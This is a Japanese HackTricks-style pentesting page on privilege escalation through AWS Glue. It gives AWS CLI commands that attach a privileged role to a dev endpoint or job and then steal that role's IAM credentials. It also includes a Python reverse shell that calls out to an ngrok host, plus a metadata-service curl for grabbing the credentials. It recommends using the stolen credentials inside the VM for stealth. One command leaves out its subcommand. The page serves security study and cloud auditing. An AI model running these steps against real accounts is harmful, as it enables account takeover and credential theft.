AWS - Glue Privesc

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

これらの権限を持つユーザーは、新しいAWS Glue開発エンドポイントを設定し特定の権限を持つ既存のサービスロールをGlueによって引き受け可能な形でこのエンドポイントに割り当てることができます

セットアップ後、攻撃者はエンドポイントのインスタンスにSSHで接続し、割り当てられたロールのIAM資格情報を盗むことができます:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

ステルス目的のために、Glue仮想マシン内のIAM資格情報を使用することをお勧めします。

潜在的な影響: 指定されたGlueサービスロールへの権限昇格。

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

この権限を持つユーザーは、既存のGlue開発エンドポイントのSSHキーを変更でき、SSHアクセスを有効にします。これにより、攻撃者はエンドポイントに接続されたロールの権限でコマンドを実行できます。

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

潜在的影響: 使用されるグルーサービスロールへの権限昇格。

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

iam:PassRoleglue:CreateJob または glue:UpdateJob のいずれか、さらに glue:StartJobRun または glue:CreateTrigger のいずれかを組み合わせたユーザーは、AWS Glue ジョブを作成または更新し、任意の Glue サービスアカウントを添付し、ジョブの実行を開始できます。ジョブの機能には任意の Python コードを実行することが含まれ、これを利用してリバースシェルを確立することができます。このリバースシェルは、Glue ジョブに添付されたロールの IAM 認証情報を抽出するために利用され、そのロールの権限に基づいて潜在的な不正アクセスや行動を引き起こす可能性があります。

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

潜在的影響: 指定されたglueサービスロールへの権限昇格。

glue:UpdateJob

更新権限だけで、攻撃者は既にアタッチされたロールのIAM資格情報を盗むことができる。

潜在的影響: アタッチされたglueサービスロールへの権限昇格。

参考文献

Support HackTricks

Last updated